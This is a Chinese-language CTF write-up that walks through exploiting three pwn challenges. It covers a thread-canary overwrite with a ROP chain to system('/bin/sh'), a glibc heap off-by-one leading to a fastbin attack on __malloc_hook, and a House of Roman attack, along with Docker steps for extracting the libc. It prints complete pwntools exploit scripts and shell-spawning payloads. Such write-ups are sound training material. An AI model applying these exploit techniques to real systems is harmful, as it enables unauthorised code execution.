可惜来的有点晚了,比赛已经结束了

GUARD-THE-BYPASS

Guard this cookie.

Note: If you successfully create a working exploit in the provided Docker, ensure you try the exploit multiple times on the remote system if any issues arise.

多线程canary,会创建一个tls存canary,gdb可以直接看到tls的位置,算个偏移再加0x20就行,注意填充的时候要填有效地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
from struct import pack
from ctypes import *

# io = remote("127.0.0.1", 55299)
# io = remote("192.168.170.128", 1234)
# io = remote("competition.blue-whale.me", 20631)
# io = remote("182.92.237.102", 10015)
io = process("./guard")
# io = remote("3.1.2.3", 8888)
context(os="linux", arch="amd64")
# context(os="linux", arch="amd64", log_level="debug")
elf = ELF('./guard')
# libc = ELF('./libc.so.6')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/yukon/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6') # ctfshow用的ubuntu18.04
lg_infos = []
lga = lambda data: lg_infos.append(data)
s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sa = lambda text, data: io.sendafter(text, data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda n: io.recv(n)
ru = lambda text: io.recvuntil(text)
rl = lambda: io.recvline()
uu32 = lambda: u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda: u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda: int(io.recv(10), 16)
iuu64 = lambda: int(io.recv(6), 16)
uheap = lambda: u64(io.recv(6).ljust(8, b'\x00'))
# lg = lambda addr: log.success(addr)
# lg = lambda addr: log.info(addr)
lg = lambda data: io.success('%s -> 0x%x' % (data, eval(str(data))))
ia = lambda: io.interactive()


def log_all():
for lg_info in lg_infos:
lg(lg_info)


def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print(possible_IO_str_jumps_offset)
return possible_IO_str_jumps_offset


# gdb.attach(io)
# gdb.attach(io, 'b printf')
# gdb.attach(io, 'b *0x4011B4')
rop = ROP(elf)
bss = elf.bss()
offset = 0x828 + 0x20
canary = b'abababab'
pop_rdi = 0x401256
pl = b"a" * 0x28 + canary + b"a" * 8 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['game'])
pl = pl.ljust(offset, p64(bss)) + canary
sla(b"Welcome! Press 1 to start the chall.\n", b"1")
len_pl = len(pl)
lga("len_pl")
gdb.attach(io, 'b *0x401438')
sla(b"Select the len: ", str(len_pl).encode())
sl(pl)


puts = uu64()

lga("puts")

libc = ELF("./libc.so.6")
libc_base = puts - libc.sym["puts"]
lga("libc_base")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

pause()
pl = b"a" * 0x28 + canary + b"a" * 8 + p64(rop.rdi.address) + p64(binsh) + p64(rop.ret.address) + p64(system)
sl(pl)

log_all()
ia()
# io\.recvuntil\("(.*?)"\)
# io\.recvuntil\(b"$1"\)
# io\.sendline\(str\((.*?)\)\)
# io\.sendline\(str\($1\)\.encode\(\)\)

VSPM

I got tired of remembering my passwords… Password managers are so useful!

1
2
3
4
5
6
7
8
checksec vspm
[*] '/mnt/hgfs/Desktop-2/vspm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'

add:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
unsigned __int64 Save_password()
{
unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
int i; // [rsp+Ch] [rbp-64h]
__int64 v3; // [rsp+10h] [rbp-60h]
__int64 v4; // [rsp+18h] [rbp-58h]
__int64 v5; // [rsp+20h] [rbp-50h]
__int64 v6; // [rsp+28h] [rbp-48h]
__int64 v7; // [rsp+30h] [rbp-40h]
__int64 v8; // [rsp+38h] [rbp-38h]
__int64 v9; // [rsp+40h] [rbp-30h]
__int64 v10; // [rsp+48h] [rbp-28h]
__int64 v11; // [rsp+50h] [rbp-20h]
__int64 v12; // [rsp+58h] [rbp-18h]
unsigned __int64 v13; // [rsp+68h] [rbp-8h]

v13 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && *(&heap_array + 5 * i); ++i )
;
if ( i == 10 )
{
puts("No more space to save passwords.");
exit(0);
}
printf("\nSelect length: ");
v1 = 0;
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 >= 0x79 )
{
puts("Sorry, not enough resources!");
exit(0);
}
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
*(&heap_array + 5 * i) = malloc(v1);
printf("Enter credentials: ");
read(0, *(&heap_array + 5 * i), (v1 + 1));
printf("Name of the credentials: ");
read(0, &heap_array + 40 * i + 8, (v1 + 1));
return __readfsqword(0x28u) ^ v13;
}

show:

1
2
3
4
5
6
7
8
9
10
11
12
13
int check_pass()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 9; ++i )
{
v0 = *(&heap_array + 5 * i);
if ( v0 )
LODWORD(v0) = printf("%d. %.*s --> %s", i, 32, &heap_array + 40 * i + 8, *(&heap_array + 5 * i));
}
return v0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 Delete()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("Select index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( !*(&heap_array + 5 * v1) )
{
puts("You can't delete a non-existent password.");
exit(0);
}
free(*(&heap_array + 5 * v1));
*(&heap_array + 5 * v1) = 0LL;
memset(&heap_array + 40 * v1 + 8, 0, 0x20uLL);
return __readfsqword(0x28u) ^ v2;
}

2.30的堆
add有off_by_one,并且name这里有个很大的溢出
show只打印没free的堆的name和content
delete会置零并清空堆内容,没有uaf

1
2
3
4
5
6
7
add(0x60, b'aaa', b'bbb')  # 0
add(0x60, b'ccc', b'ddd') # 1
add(0x60, b'eee', b'ffffffff') # 2

delete(1)
add(0x60, b'ccc', p64(0) * 4 + p64(0xdeadbeef)) # 1
gdb.attach(io, "x/16gx $rebase(0x4060)")

如果我们在delete之后重新写name,就能覆盖heaparray存放堆地址的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x55f9079e1060:	0x000055f907c33010	0x000000000a626262
0x55f9079e1070: 0x0000000000000000 0x0000000000000000
0x55f9079e1080: 0x0000000000000000 0x000055f907c33080
0x55f9079e1090: 0x000000000a646464 0x0000000000000000
0x55f9079e10a0: 0x0000000000000000 0x0000000000000000
0x55f9079e10b0: 0x000055f907c330f0 0x6666666666666666
0x55f9079e10c0: 0x000000000000000a 0x0000000000000000
0x55f9079e10d0: 0x0000000000000000 0x0000000000000000

# delete(1) + 利用name溢出

0x5619ef7e3060: 0x00005619f13aa010 0x000000000a626262
0x5619ef7e3070: 0x0000000000000000 0x0000000000000000
0x5619ef7e3080: 0x0000000000000000 0x00005619f13aa080
0x5619ef7e3090: 0x0000000000000000 0x0000000000000000
0x5619ef7e30a0: 0x0000000000000000 0x0000000000000000
0x5619ef7e30b0: 0x00000000deadbeef 0x666666666666660a
0x5619ef7e30c0: 0x000000000000000a 0x0000000000000000
0x5619ef7e30d0: 0x0000000000000000 0x0000000000000000

但是我们现在elf_base,bp,libc_base一个都不知道,所以需要想点办法泄露

这里我尝试了一下通过off_by_one修改下一个chunk的大小为unsortedbin大小然后再free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0x60, b'a' * 0x30 + p64(0x91) * 2, b'bbb')  # 0
add(0x68, b'ccc', b'ddd') # 1
add(0x60, b'ccc', b'ddd') # 2
add(0x60, p64(0x90) * 4 + p64(0x90) + p64(0x31), b'ffffffff') # 3

delete(1)

# add(0x68, b'a' * 0x60 + p64(0) + b'\x91', p64(0) * 4) # + p64(elf.got["puts"])) # 1
choose(1)
sla(b"\nSelect length: ", str(0x68).encode())
sa(b"Enter credentials: ", b'a' * 0x60 + p64(0) + b'\x91')
sla(b"Name of the credentials: ", p64(0) * 3)

gdb.attach(io, "x/16gx $rebase(0x4060)")
delete(2)

但是被检测出来了

1
2
[DEBUG] Received 0x22 bytes:
b'double free or corruption (!prev)\n'

翻了一下源码

1
2
3
4
5
6
7
8
/* Or whether the block is actually not marked used.  */
//如果nextchunk的prev_inuse位是0,说明p已经被释放过了,再释放属于double free
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
nextsize = chunksize(nextchunk); //得到nextchunk的size
if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0)) //判断nextchunk size的合法性
malloc_printerr ("free(): invalid next size (normal)");

换成add(0x60, p64(0x91) * 4 + p64(0x90) + p64(0x31), b'ffffffff') # 3解决了之后又来一个

1
2
[DEBUG] Received 0x1d bytes:
b'corrupted size vs. prev_size\n'
1
2
3
4
unlink_chunk (mstate av, mchunkptr p)  
{
if (chunksize (p) != prev_size (next_chunk (p))) //
malloc_printerr ("corrupted size vs. prev_size");

尝试了一下发现只要将上面构造的prev_size从0x90改为0x80就能绕过(原来prev_size是size-0x10吗)

现在我们就有了unsortedbin,将其分配出来可以得到libc_base

接下来就简单了,计算一下malloc_hook,fastbin attack打malloc_hook即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
## 0x90
# leak libc
add(0x60, b'a' * 0x30 + p64(0x91) * 2, b'bbb') # 0
add(0x68, b'ccc', b'ddd') # 1
add(0x60, b'ccc', b'ddd') # 2
add(0x60, p64(0x91) * 2 + p64(0x80) + p64(0x51), b'ffffffff') # 3

delete(1)

# add(0x68, b'a' * 0x60 + p64(0) + b'\x91', p64(0) * 4) # + p64(elf.got["puts"])) # 1
choose(1)
sla(b"\nSelect length: ", str(0x68).encode())
sa(b"Enter credentials: ", b'a' * 0x60 + p64(0) + b'\x91')
sla(b"Name of the credentials: ", p64(0) * 3)

delete(2)
# add(0x60, b'ggg', b'unsortedbin') # 2
choose(1)
sla(b"\nSelect length: ", str(0x60).encode())
sa(b"Enter credentials: ", b'a' * 7 + b'b')
sla(b"Name of the credentials: ", b'666')
show()
ru(b'aaaaaaab')
main_arena_224 = uu64()
libc_base = main_arena_224 - 224 - libc.sym['main_arena']
malloc_hook = libc_base + libc.sym['__malloc_hook']
lga("libc_base")
lga("malloc_hook")


onegg = [0xc4dbf, 0xe1fa1, 0xe1fad]
onegg = libc_base + onegg[1]

# fastbin attack
add(0x10, p64(malloc_hook - 0x23), p64(0xdeadbeef)) # 4 -> unsortedbin's last remainder chunk
add(0x10, b'hhh', b'hhh') # 5
add(0x10, b'iii', b'iii') # 6
delete(4)
delete(5)
delete(3)
# bins:4->5->4
add(0x10, p64(malloc_hook - 0x23), p64(0xdeadbeef)) # 7 -> 4
add(0x10, p64(malloc_hook - 0x23), p64(0xdeadbeef)) # 8 -> 5
add(0x10, p64(malloc_hook - 0x23), p64(0xdeadbeef)) # 9 -> 4
add(0x10, b'a' + )

做到后面才发现0x90不太够,因为0x90-0x70=0x20,这个chunk只能写0x20不够覆盖malloc_hook-0x23到malloc_hook,

而且fastbin会检查size大小跟bins中对应大小是否相同,所以这个last remainder chunk应该大于等于0x60

下面是远程最终打通的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *
from struct import pack
from ctypes import *

# io = remote("127.0.0.1", 55299)
# io = remote("192.168.170.128", 1234)
# io = remote("competition.blue-whale.me", 20631)
io = remote("challs.tfcctf.com", 30661)
# io = process("./vspm")
# io = remote("3.1.2.3", 8888)
# context(os="linux", arch="amd64")
context(os="linux", arch="amd64", log_level="debug")
elf = ELF('./vspm')
libc = ELF('./libc.so.6')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/yukon/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6') # ctfshow用的ubuntu18.04
lg_infos = []
lga = lambda data: lg_infos.append(data)
s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sa = lambda text, data: io.sendafter(text, data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda n: io.recv(n)
ru = lambda text: io.recvuntil(text)
rl = lambda: io.recvline()
uu32 = lambda: u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda: u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda: int(io.recv(10), 16)
iuu64 = lambda: int(io.recv(6), 16)
uheap = lambda: u64(io.recv(6).ljust(8, b'\x00'))
# lg = lambda addr: log.success(addr)
# lg = lambda addr: log.info(addr)
lg = lambda data: io.success('%s -> 0x%x' % (data, eval(str(data))))


# ia = lambda: io.interactive()


def log_all():
for lg_info in lg_infos:
lg(lg_info)


def ia():
log_all()
io.interactive()


def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print(possible_IO_str_jumps_offset)
return possible_IO_str_jumps_offset


# gdb.attach(io)
# gdb.attach(io, 'b printf')
# gdb.attach(io, 'b *0x4011B4')

def choose(choice):
ru(b'Input: ')
sl(str(choice).encode())


def add(length, content, name):
choose(1)
sla(b"\nSelect length: ", str(length).encode())
sla(b"Enter credentials: ", content)
sla(b"Name of the credentials: ", name)


def show():
choose(2)


def delete(ind):
choose(3)
ru(b"Select index: ")
sl(str(ind).encode())

# leak libc
add(0x60, b'a' * 0x30 + p64(0x91) * 2, b'bbb') # 0
add(0x68, b'ccc', b'ddd') # 1
add(0x60, b'ccc', b'ddd') # 2
add(0x40, b'ccc', b'ddd') # 3
add(0x70, p64(0) * 2 + p64(0xd0) + p64(0x61), b'ffffffff') # 4

delete(1)

# add(0x68, b'a' * 0x60 + p64(0) + b'\x91', p64(0) * 4) # + p64(elf.got["puts"])) # 4 -> 1
choose(1)
sla(b"\nSelect length: ", str(0x68).encode())
sa(b"Enter credentials: ", b'a' * 0x60 + p64(0) + b'\xe1')
sla(b"Name of the credentials: ", p64(0) * 3)

delete(2)
# add(0x60, b'ggg', b'unsortedbin') # 2
choose(1)
sla(b"\nSelect length: ", str(0x60).encode())
sa(b"Enter credentials: ", b'a' * 7 + b'b')
sla(b"Name of the credentials: ", b'666')
show()
ru(b'aaaaaaab')
main_arena_304 = u64(ru(b'\x7f').ljust(8, b'\x00'))
lg("main_arena_304")
libc_base = main_arena_304 - 304 - libc.sym['main_arena']
malloc_hook = libc_base + libc.sym['__malloc_hook']
lga("libc_base")
lga("malloc_hook")


onegg = [0xc4dbf, 0xe1fa1, 0xe1fad]
onegg = libc_base + onegg[1]
lga("onegg")

# fastbin attack
add(0x60, p64(malloc_hook - 0x23), p64(0xdeadbeef)) # 5 -> unsortedbin's last remainder chunk
add(0x60, b'hhh', b'hhh') # 6
add(0x60, b'iii', b'iii') # 7
delete(3) # 3,5指向同一块chunk
delete(6)
delete(5)
# bins:5->4->5
add(0x60, p64(malloc_hook - 0x23), p64(0xdeadbeef)) # 7 -> 4
add(0x60, p64(malloc_hook - 0x23), p64(0xdeadbeef)) # 8 -> 5
add(0x60, p64(malloc_hook - 0x23), p64(0xdeadbeef)) # 9 -> 4
add(0x60, b'a' * 0x13 + p64(onegg), b'aaaa')
# # gdb.attach(io, "x/40gx $rebase(0x4060)")
choose(1)
sla(b"\nSelect length: ", str(0x10).encode())
sl(b'cat flag')

ia()
# io\.recvuntil\("(.*?)"\)
# io\.recvuntil\(b"$1"\)
# io\.sendline\(str\((.*?)\)\)
# io\.sendline\(str\($1\)\.encode\(\)\)

image-20240807042238801

mcback2dabasics

环境准备

首先记录一下怎么通过dockerfile来确定libc版本(感谢队内两位web手的帮助)

1.更新包索引并安装必要的软件包以允许 apt 使用 HTTPS:

1
2
sudo apt update
sudo apt install apt-transport-https ca-certificates curl software-properties-common

2.添加 Docker 官方 GPG 密钥:

1
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

报错:gpg: 找不到有效的 OpenPGP 数据”的解决方法:

在网上自己下一个gpg

1
2
wget https://download.docker.com/linux/ubuntu/gpg
sudo apt-key add gpg

3.设置稳定版的 Docker 存储库:

1
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

4.更新 apt 包索引,并安装 Docker Engine:

1
2
sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io

5.验证 Docker 是否安装成功,运行以下命令启动 Docker 服务并设置开机自启动:

1
2
sudo systemctl start docker
sudo systemctl enable docker

6.确保您的用户帐户被添加到 docker 用户组中,以便无需 sudo 权限即可运行 Docker 命令。使用以下命令将当前用户添加到 docker 组中(但是我好多命令还是得sudo):

1
sudo usermod -aG docker $USER

7.退出当前终端会话并重新登录,以便组更改生效。

1
docker --version

安装完成之后我们需要设置虚拟机代理,参考下面这篇文章

https://cloud.tencent.com/developer/article/1806455

确保主机启动代理,并且http/https端口已知,查看主机ip

image-20240808103654207

web手亲测两个网卡都可以,我就用了170 c段的了

Dockerd 代理

1
2
sudo mkdir -p /etc/systemd/system/docker.service.d
sudo touch /etc/systemd/system/docker.service.d/proxy.conf
1
2
3
4
[Service]
Environment="HTTP_PROXY=http://proxy.example.com:8080/"
Environment="HTTPS_PROXY=http://proxy.example.com:8080/"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"

http://proxy.example.com换成上图中主机ip地址,8080换成主机http/https代理端口(如果在虚拟机起代理则直接127.0.0.1即可)

Container 代理

1
sudo vim ~/.docker/config.json
1
2
3
4
5
6
7
8
9
10
11
{
"proxies":
{
"default":
{
"httpProxy": "http://proxy.example.com:8080",
"httpsProxy": "http://proxy.example.com:8080",
"noProxy": "localhost,127.0.0.1,.example.com"
}
}
}

同理http://proxy.example.com:8080换成自己的

1
2
sudo systemctl daemon-reload
sudo systemctl restart docker

还不行可以重启一下

接下来就是利用docker查看libc版本

image-20240808104349158

先根据Dockerfile的内容创建一个docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
FROM ubuntu:17.04

RUN sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list
RUN apt update
RUN apt install -y socat netcat net-tools gdb

RUN useradd ctf

WORKDIR /home/ctf
COPY ./chall /home/ctf/
COPY ./flag.txt /home/ctf/

RUN chmod +x /home/ctf/chall

EXPOSE 1337

USER ctf
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./chall,stderr

yml这部分可以让gpt代劳

1
2
3
4
5
6
7
8
9
10
version: '3'
services:
my_service:
build: .
ports:
- "1337:1337"
volumes:
- ./chall:/home/ctf/chall
- ./flag.txt:/home/ctf/flag.txt
restart: always

然后用docker compose创建容器

1
docker compose up -d

通过docker ps查看CONTAINER ID

1
2
3
4
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4011d09e957b handout-my_service "/bin/sh -c 'socat T…" 22 seconds ago Up 20 seconds 0.0.0.0:1337->1337/tcp, :::1337->1337/tcp handout-my_service-1

然后

1
docker exec -it <CONTAINER ID> /bin/bash

image-20240808104940395

就进来了,接着用docker cp将libc复制到本地

1
docker cp <CONTAINER ID>:<远程文件路径> <本地路径>

这里直接docker cp 4011d09e957b:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6会报错,因为这个libc.so.6是符号链接文件,我们要查找其真实文件

在容器中查找符号链接指向的实际文件:

1
2
3
ls -l /lib/x86_64-linux-gnu/libc.so.6

lrwxrwxrwx 1 root root 12 Apr 9 2018 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.24.so

则运行:

1
docker cp 4011d09e957b:/lib/x86_64-linux-gnu/libc-2.24.so ./libc.so.6

即可

如果想要复制ld文件同理:

image-20240808105703838

1
2
patchelf --set-interpreter /mnt/hgfs/Desktop-2/handout/ld-2.24.so /mnt/hgfs/Desktop-2/handout/chall
patchelf --set-rpath /mnt/hgfs/Desktop-2/handout/ /mnt/hgfs/Desktop-2/handout/chall

image-20240808110420492

patch一下就能直接本地打了

ida

1
2
3
4
5
6
7
checksec mcback2dabasics
[*] '/mnt/hgfs/Desktop-2/mcback2dabasics'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
for ( i = 0; i <= 63; ++i )
qword_202060[i] = 0LL;
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
Free();
}
if ( v3 == 3 )
{
puts("Is that all you got? Bye!");
exit(0);
}
if ( v3 == 1 )
Allocate();
else
puts("Invalid choice");
}
}
1
2
3
4
5
6
7
8
9
int menu()
{
puts("-------Menu-------");
puts("1. Allocate memory");
puts("2. Free memory");
puts("3. Give up");
puts("------------------");
return printf("[+]> ");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 Allocate()
{
int v0; // eax
_DWORD nbytes[3]; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( heap_count > 0x3F )
{
puts("No more memory available");
exit(0);
}
puts("How much?");
printf("[+]> ");
_isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 0x70u )
{
puts("Nope, too big");
exit(0);
}
*&nbytes[1] = malloc((nbytes[0] + 1));
puts("Data?");
read(0, *&nbytes[1], nbytes[0]);
*(nbytes[0] + *&nbytes[1]) = 0;
v0 = heap_count++;
heap_array[v0] = *&nbytes[1];
puts("Job done!");
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 Free()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Which one?");
printf("[+]> ");
_isoc99_scanf("%d", &v1);
if ( v1 > 0x3F )
{
puts("Invalid index");
exit(0);
}
free(heap_array[v1]);
puts("Job done!");
return __readfsqword(0x28u) ^ v2;
}

nbytes[0]是size,nbytes[1]是heap指针
没有show,add的时候size不能超过0x70,并且malloc(size + 1),看着好像有off_by_null,实际上没有
free有uaf

很显然是一道house of roman

首先,我们要知道house of roman的精髓就是构造一个unsortedbin跟fastbin同时存在的情况,类似于下面这种:

1
2
3
4
5
pwndbg> bins
fastbins
0x70: 0x5592e7f49070 —▸ 0x7f61989c1b58 (main_arena+88) ◂— 0x5592e7f49070
unsortedbin
all: 0x5592e7f49070 —▸ 0x7f61989c1b58 (main_arena+88) ◂— 0x5592e7f49070

有uaf,所以我们可以利用fastbin_dup来完成fd低位的伪造,分配出一个\x20处的堆,构造堆重叠从而堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
add(0x60, p64(0) * 3 + p64(0x71))  # 0
add(0x60, p64(0) * 3 + p64(0x51)) # 1
add(0x60, p64(0) * 3 + p64(0x51)) # 2
add(0x60) # 3
free(0)
free(1)
free(0)
# bins:0->1->0
add(0x60, b'\x20') # 4 -> 0
add(0x60, p64(0) * 3 + b'\x51') # 5 -> 1
add(0x60, b'\x20') # 6 -> 0
add(0x60) # 7 -> \x20

这样我们通过反复free(7)并分配,就可以对chunk1的size进行伪造,从而构造unsortedbin,由于fastbin入链时会将fd修改,所以要先让chunk1进入fastbin,再修改size为0x90再free,从而构造unsortedbin跟fastbin同时存在的情况

1
2
3
4
free(1)
free(7)
add(0x60, p64(0) * 9 + p64(0x91))
free(1)

这里要绕过几个检查,可以参考我上面的做法根据源码来解决,不做赘述

接下来就是喜闻乐见的house of roman环节,不清楚的可以看我之前的博客:https://yukon.icu/2024/07/26/io_stdout_libc/

1
2
3
4
5
6
7
8
9
10
11
12
free(7)
add(0x60, p64(0) * 9 + p64(0x71) + b'\xbd\x25')
add(0x60)
add(0x61, b'a' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b'\x00')
libc_base = uu64() - 0x3c2600
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_addr = libc_base + libc.sym['realloc']
onegg = [0x45526, 0x4557a, 0xf1651, 0xf24cb]
onegg = libc_base + onegg[1]
lga("libc_base")
lga("malloc_hook")
lga("onegg")

这里我尝试了很久,发现可能是因为malloc的是size-1,所以在覆盖stdout那一步必须用0x61,不清楚原因

最后一个double free改malloc_hook即可

1
2
3
4
5
6
7
8
9
10
11
12
ru(b'Job done!')
free(0)
free(1)
free(0)
add(0x60, p64(malloc_hook - 0x23))
add(0x60, p64(malloc_hook - 0x23))
add(0x60, p64(malloc_hook - 0x23))
add(0x60, b'a' * 0xb + p64(onegg) + p64(realloc_addr + 0x1))

sla(b'> ', b'1')
sla(b"How much?", str(0x20).encode())
sl(b'whoami')

网站进不去了,本地通了就不管了

image-20240808111936239